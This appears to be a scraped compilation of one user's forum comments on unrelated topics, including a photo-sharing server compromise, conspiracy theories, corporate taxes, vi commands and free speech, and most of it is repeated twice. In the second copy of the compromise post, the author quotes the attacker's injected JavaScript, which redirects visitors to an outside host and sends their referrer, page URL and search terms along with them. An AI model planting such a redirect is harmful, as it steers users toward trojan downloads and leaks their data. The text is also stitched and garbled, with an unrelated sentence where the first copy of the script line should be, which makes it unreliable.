Last week I was victim to an exploit in an older version of Coppermine, a photo-sharing app. The culprits uploaded a number of php scripts. Most scripts were designed to provide readily-indexable terms and phrases to search-engine spiders. If unwitting googlers went to the page, they were redirected to a fake anti-virus site which encourages you to download a trojan.
Interestingly, before redirecting the user to the fake site, the user's search terms (in addition to other data) were forwarded to a server in Russia. Presumably this was to continually optimize the index terms to those actually being searched for.
The code had been on my server for less than 3 days. After removing it, I still got 100s of hits from unwitting google and yahoo searchers.
A quick search of my own on google revealed 1000s of compromised servers. Wanna have fun with the black hat's server? Here's the relevant line from their scripts:
The teen finds himself in a prison jumpsuit forced to tattoo shirtless adult inmates who eventually turn on him, physically attack him, and make him run for his life back to his jail cell
- Raising corporat taxes doesn't affect the consumer as badly as you believe. Yes some prices get raised, but increased taxation also leads to more cuts internally like plastic desks instead of mahogany, fewer free trips to Vegas, snd so on.
Companies compete against each other for revenue, not against the government. The decision about desks, etc. affects profitability and (for example) company culture and morale. Companies seek efficiencies to gain the upper edge against a competitor. Taxing doesn't induce efficiency, your competitor does. Given the baseline that all corporations are taxed equally, the only competitive advantage to be gained over your competitor is to find a way to avoid them.
In fact your pretty much saying that state secrets, NDAs, sworn oaths and trade secrets don't exist. Yet reality shows that they clearly do.
What's the exact recipe for Coke a Cola? By your logic it would be out in the open by now. There's thousands of people who would have knowledge of it.
The ability to conspire is directly related to the moral foundation and personal well-being upon which the conspiracy relies. D-day and the Manhattan project had clear moral and self-preservation motivations contributing to the success of those conspiracies. NDAs aren't conspiracies. State secrets which are morally dubious do tend to get exposed. The owners of the Coke recipe are hardly biting their nails worrying about the moral implications of their recipe getting out.
Men often do evil things for money...Rapid anti-conspiracy nuts are as bad as rabid pro-conspiracy nuts. Both are absolutely delusional about the equally beautiful and grotesque mess that is called humanity.
Conspiracy theories are highly unlikely because they require many people to "conspire", to participate with equal zeal and secrecy to accomplish their plan. Before buying into any conspiracy theory ask yourself: How many people are required to pull this off? What is the likelihood that, in the recruitment process, no "non-believers" would have been solicited to join?
Particularly with the second question, each non-believing, normal Joe unsuccessfully solicited greatly increases the risk that the entire conspiracy will be exposed. This above all else causes me to roll my eyes at conspiracies in general and the 9/11 conspiracy in particular. A 9/11 conspiracy would have required a cast of 100s to pull off and recruiting those 100s would also have included unsuccessfully recruiting 1000s.
Tell you what. You think 9/11 was a government conspiracy? Generate a Gantt chart showing me all of the roles involved in it, the skills required of each role, what they did, and when they did it. Be sure to show the critical path and how information was communicated from person to person. If you can't do that you're wasting everyone's time selling people on this conspiracy or that conspiracy.
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I've mounted the business end of a rifle to the body of my Nikon. It's pretty hard to hold and the recoil bruises my face where I look in the eyepiece but I'm the only one on my block with one!
Everyone is aware of commands such as dw which will delete a word. Many are aware that the valid generalization of that command is d<movement>. Few people are aware that <movement> means pretty much anything which moves your cursor. For example, d/sometext<return>. Use your imagination; anything which moves your cursor.
I did not know that Denmark had been accepted as a new state in USA Norway has already been annexed. It was only a matter of time before Denmark followed.
The incorrect implication is that we are for the first time in danger of losing something because of media which isn't as persistent as previous generations. The correct emphasis is that for the first time we are capable of persistence in perpetuity due to digital media.
Regardless of the persistence of cave drawings, books, etc., exabytes of information have not persisted from previous generations, certainly not from previous eras.
I've started looking at this too as i've picked up some stock recently, and it is a difficult proposition (given that i'm not really willing to pay for a commercial solution).
Personally, I absolutely love the interface of Google's stock ticker - the interface is nice, the information is top notch. The problem being of course that there's way in any of the nine layers i'd trust google with my portfolio information. The big advantage of a local program in my mind is that the information you put in, even if it is only "I want to track these stocks" is kept wholly to yourself and not stored on some remote server where you have to trust the hoster not to take a peek.
In the end i've been using the default stock program that came on the iPhone to watch the stock prices. Thats all it will do, that and a short graph history, and it uses the yahoo info instead of the google, but it's close to realtime and it's stored (I hope) on the iPhone. Course, Yahoo can still see which stocks i'm requesting, so maybe in the end it makes no difference.
Ideal would be a device-based solution that could draw down the information, either from google/yahoo or direct from the *sx, and hold information regarding you portfolio too - but locally, so theres no worry of the monetary values being shunted across the net to the infovores.
No, I'm sorry, we're only taking questions about farming.
Medline is an "Online database of 11 million citations and abstracts from health and medical journals and other news sources."
This paper was just published:
http://bioinformatics.oxfordjournals.org/cgi/content/abstract/24/2/243 Déjà vu--A study of duplicate citations in Medline Motivation: Duplicate publication impacts the quality of the scientific corpus, has been difficult to detect, and studies this far have been limited in scope and size. Using text similarity searches, we were able to identify signatures of duplicate citations among a body of abstracts.
Results: A sample of 62 213 Medline citations was examined and a database of manually verified duplicate citations was created to study author publication behavior. We found that 0.04% of the citations with no shared authors were highly similar and are thus potential cases of plagiarism. 1.35% with shared authors were sufficiently similar to be considered a duplicate. Extrapolating, this would correspond to 3500 and 117 500 duplicate citations in total, respectively.
I worked for a corporate training company in the early 1990s. One client was moving from mainframes from UNIX and the unhappy employees were forced to train on UNIX or find work elsewhere. Naturally they took it out on the instructor. The worst was a guy who didn't touch type, but did all of his typing with the eraser end of a wooden pencil. The only thing more terrible than watching paint dry is watching the pencil-eraser-typing guy learn vi.
Zoom in on the coastline of southern Cuba and you'll see a narrow bay cutting deeply into the shore. With a little imagination you can almost see the IVth, Vth and VIth ammendments of the Constitution of the United States of America being violated.
Over the past year I've been reading slashdot less and less because it's impossible to enjoy any technical or science discussion without parsing through a host of imbeciles foisting thier political beliefs into the discussion. The slashdot powers-that-be added a Politics section to provide a platform for people to stand on their political soapbox. Wake up moderators! This is a SCIENCE discussion. The parent isn't insightful, he's off topic!
all fields of science are today in at least some form of crisis. "Publish or perish", and a bureacratic/accountancy driven push for quantity of publications over quality, has caused an explosion in the number of published articles and an equally dramatic drop in the substance of said articles.
The result is that even in a small sub-field, there are too many publications for an indiviual to keep track of.
To your point, a PubMed search indicates that last week (Jan 8 thru Jan 14) there were 10332
articles published. However, I believe the problem extends beyond articles of questionable value. Even if we assume that 90% of the articles in PubMed are worthless, that still means that over a 1000 quality medically-related articles are published every week. This is more than any single person (or lab) can keep on top of. The article identifies the issue of research moving "vertically" from the research lab into clinical settings. The issue of research moving "horizontally" from one medical domain to another is real as well.
I graduated in 1984, so my high-school days saw the birth of MTV. In 2009, I envision a 25-year high-school reunion with songs from that era playing with the corresponding videos showing on a large screen. The video iPod makes this vision plausible.
If it were offered on iTMS today, I would purchase such video delights as "Love is a Battlefield" by Pat Benatar. Certainly campy by today's standards, but the $2 is well worth it for the nostalgia appeal.
Bollocks to 'free speech rights'. That applies to the federal government, not to private employers. If you sign a confidentiality agreement, you...agree...to...keep...things...confidential. No right to free speech is being restricted by the government here.
Nice try but WRONG! BZZZZ!
Network associates, the makers of McAfee Viruscan, put a line in their EULA that essentially said you couldn't publish a review of the software without their permission. It didn't hold up in court because it violated the first amendment. Network Associates are not the government, and could not force anyone to give up their first amendment rights through contract.
Grandparent is correct. Use a little common sense. If you hire me as a maid
to clean your house, and you find out I'm telling others about how messy your
house is, the crummy food in your refrigerator, etc., do you think your hands
are tied because of the First Amendment, or do you think you can fire me and
get a new maid?
Your example cites an invalid end-user license, not an invalid
employment agreement. You have a right to free speech as a citizen, not as an
employee of a company. If you work for me and I perceive you are detrimental
to my company through your comments regarding my company, I have every right to
fire you. Even in cases when the employer is a government entity, the Supreme Court has held that the entity is not obligated to be held hostage by the disruptive comments of an employee (who tries to hide under the First Amendment umbrella).
For better or worse, we have a two-party system. And party trumps person. Either a Republican, George W. Bush, or a Democrat, John Kerry, is going to be elected president in November. No one else has a chance.
Not Ralph Nader, not the Libertarian candidate, nor the Communist, nor the Green. Minor party candidates are sometimes spoilers - like Nader costing Gore the presidency in 2000 - but they don't win presidential elections. Ross Perot got 20 million popular votes in 1992, and exactly zero Electoral College votes.
My question is: Ross Perot got 20 million votes in 1992 but zero Electoral College votes. Assuming my interests are libertarian, please explain how my vote for you in a presidential election will further my libertarian agenda?
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Can your i-phone be used as a metal-detector?
If I had a nickle every time someone's asked me that...
Grooveshark allows you to search for individual songs, play them, make playlists, etc. Is grooveshark doomed to become RIAA fodder?
Last week I was victim to an exploit in an older version of Coppermine, a photo-sharing app. The culprits uploaded a number of php scripts. Most scripts were designed to provide readily-indexable terms and phrases to search-engine spiders. If unwitting googlers went to the page, they were redirected to a fake anti-virus site which encourages you to download a trojan.
Interestingly, before redirecting the user to the fake site, the user's search terms (in addition to other data) were forwarded to a server in Russia. Presumably this was to continually optimize the index terms to those actually being searched for.
The code had been on my server for less than 3 days. After removing it, I still got 100s of hits from unwitting google and yahoo searchers.
A quick search of my own on google revealed 1000s of compromised servers. Wanna have fun with the black hat's server? Here's the relevant line from their scripts:
window.location = ("http://luckystats1.com/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default");
And, for human testing, you (ostensibly at any rate) need informed consent, and various safeguards, IRB oversight, etc.
Interesting thing is that the Institional Review Board (IRB) only has jurisdiction over (U.S.) federally-funded research.
Sounds like an average day working tech support.
- Raising corporat taxes doesn't affect the consumer as badly as you believe. Yes some prices get raised, but increased taxation also leads to more cuts internally like plastic desks instead of mahogany, fewer free trips to Vegas, snd so on.
Companies compete against each other for revenue, not against the government. The decision about desks, etc. affects profitability and (for example) company culture and morale. Companies seek efficiencies to gain the upper edge against a competitor. Taxing doesn't induce efficiency, your competitor does. Given the baseline that all corporations are taxed equally, the only competitive advantage to be gained over your competitor is to find a way to avoid them.
In fact your pretty much saying that state secrets, NDAs, sworn oaths and trade secrets don't exist. Yet reality shows that they clearly do.
What's the exact recipe for Coke a Cola? By your logic it would be out in the open by now. There's thousands of people who would have knowledge of it.
The ability to conspire is directly related to the moral foundation and personal well-being upon which the conspiracy relies. D-day and the Manhattan project had clear moral and self-preservation motivations contributing to the success of those conspiracies. NDAs aren't conspiracies. State secrets which are morally dubious do tend to get exposed. The owners of the Coke recipe are hardly biting their nails worrying about the moral implications of their recipe getting out.
Men often do evil things for money...Rapid anti-conspiracy nuts are as bad as rabid pro-conspiracy nuts. Both are absolutely delusional about the equally beautiful and grotesque mess that is called humanity.
Conspiracy theories are highly unlikely because they require many people to "conspire", to participate with equal zeal and secrecy to accomplish their plan. Before buying into any conspiracy theory ask yourself: How many people are required to pull this off? What is the likelihood that, in the recruitment process, no "non-believers" would have been solicited to join?
Particularly with the second question, each non-believing, normal Joe unsuccessfully solicited greatly increases the risk that the entire conspiracy will be exposed. This above all else causes me to roll my eyes at conspiracies in general and the 9/11 conspiracy in particular. A 9/11 conspiracy would have required a cast of 100s to pull off and recruiting those 100s would also have included unsuccessfully recruiting 1000s.
Tell you what. You think 9/11 was a government conspiracy? Generate a Gantt chart showing me all of the roles involved in it, the skills required of each role, what they did, and when they did it. Be sure to show the critical path and how information was communicated from person to person. If you can't do that you're wasting everyone's time selling people on this conspiracy or that conspiracy.
I've mounted the business end of a rifle to the body of my Nikon. It's pretty hard to hold and the recoil bruises my face where I look in the eyepiece but I'm the only one on my block with one!
where can I sign up?
I think the google lawn is now taken care of but I'll give you a couple buck to watch you eat my lawn.
A space weapon ban would prevent This type of attack
Everyone is aware of commands such as dw which will delete a word. Many are aware that the valid generalization of that command is d<movement>. Few people are aware that <movement> means pretty much anything which moves your cursor. For example, d/sometext<return>. Use your imagination; anything which moves your cursor.
Re:A completely unbiased recommendation
...
This should be marked "Funny", not "Interesting":
bash$ whois democracynow.org
Registrant Name:Amy Goodman
(google the name...third link:)
Amy Goodman, one of four journalists arrested at an anti-RNC...
I did not know that Denmark had been accepted as a new state in USA
Norway has already been annexed. It was only a matter of time before Denmark followed.
The incorrect implication is that we are for the first time in danger of losing something because of media which isn't as persistent as previous generations. The correct emphasis is that for the first time we are capable of persistence in perpetuity due to digital media. Regardless of the persistence of cave drawings, books, etc., exabytes of information have not persisted from previous generations, certainly not from previous eras.
I've started looking at this too as i've picked up some stock recently, and it is a difficult proposition (given that i'm not really willing to pay for a commercial solution).
Personally, I absolutely love the interface of Google's stock ticker - the interface is nice, the information is top notch. The problem being of course that there's way in any of the nine layers i'd trust google with my portfolio information. The big advantage of a local program in my mind is that the information you put in, even if it is only "I want to track these stocks" is kept wholly to yourself and not stored on some remote server where you have to trust the hoster not to take a peek.
In the end i've been using the default stock program that came on the iPhone to watch the stock prices. Thats all it will do, that and a short graph history, and it uses the yahoo info instead of the google, but it's close to realtime and it's stored (I hope) on the iPhone. Course, Yahoo can still see which stocks i'm requesting, so maybe in the end it makes no difference.
Ideal would be a device-based solution that could draw down the information, either from google/yahoo or direct from the *sx, and hold information regarding you portfolio too - but locally, so theres no worry of the monetary values being shunted across the net to the infovores.
No, I'm sorry, we're only taking questions about farming.
Medline is an "Online database of 11 million citations and abstracts from health and medical journals and other news sources."
This paper was just published: http://bioinformatics.oxfordjournals.org/cgi/content/abstract/24/2/243
Déjà vu--A study of duplicate citations in Medline
Motivation: Duplicate publication impacts the quality of the scientific corpus, has been difficult to detect, and studies this far have been limited in scope and size. Using text similarity searches, we were able to identify signatures of duplicate citations among a body of abstracts.
Results: A sample of 62 213 Medline citations was examined and a database of manually verified duplicate citations was created to study author publication behavior. We found that 0.04% of the citations with no shared authors were highly similar and are thus potential cases of plagiarism. 1.35% with shared authors were sufficiently similar to be considered a duplicate. Extrapolating, this would correspond to 3500 and 117 500 duplicate citations in total, respectively.
I worked for a corporate training company in the early 1990s. One client was moving from mainframes from UNIX and the unhappy employees were forced to train on UNIX or find work elsewhere. Naturally they took it out on the instructor. The worst was a guy who didn't touch type, but did all of his typing with the eraser end of a wooden pencil. The only thing more terrible than watching paint dry is watching the pencil-eraser-typing guy learn vi.
Zoom in on the coastline of southern Cuba and you'll see a narrow bay cutting deeply into the shore. With a little imagination you can almost see the IVth, Vth and VIth ammendments of the Constitution of the United States of America being violated.
Over the past year I've been reading slashdot less and less because it's impossible to enjoy any technical or science discussion without parsing through a host of imbeciles foisting thier political beliefs into the discussion. The slashdot powers-that-be added a Politics section to provide a platform for people to stand on their political soapbox. Wake up moderators! This is a SCIENCE discussion. The parent isn't insightful, he's off topic!
NPR's Science Friday recently had an hour on the subject. You can get the podcast of the broadcast here.
I graduated in 1984, so my high-school days saw the birth of MTV. In 2009, I envision a 25-year high-school reunion with songs from that era playing with the corresponding videos showing on a large screen. The video iPod makes this vision plausible.
If it were offered on iTMS today, I would purchase such video delights as "Love is a Battlefield" by Pat Benatar. Certainly campy by today's standards, but the $2 is well worth it for the nostalgia appeal.
Grandparent is correct. Use a little common sense. If you hire me as a maid to clean your house, and you find out I'm telling others about how messy your house is, the crummy food in your refrigerator, etc., do you think your hands are tied because of the First Amendment, or do you think you can fire me and get a new maid?
Your example cites an invalid end-user license, not an invalid employment agreement. You have a right to free speech as a citizen, not as an employee of a company. If you work for me and I perceive you are detrimental to my company through your comments regarding my company, I have every right to fire you. Even in cases when the employer is a government entity, the Supreme Court has held that the entity is not obligated to be held hostage by the disruptive comments of an employee (who tries to hide under the First Amendment umbrella).
My question is: Ross Perot got 20 million votes in 1992 but zero Electoral College votes. Assuming my interests are libertarian, please explain how my vote for you in a presidential election will further my libertarian agenda?
Fahrenheit 9/11
Bowling for Columbine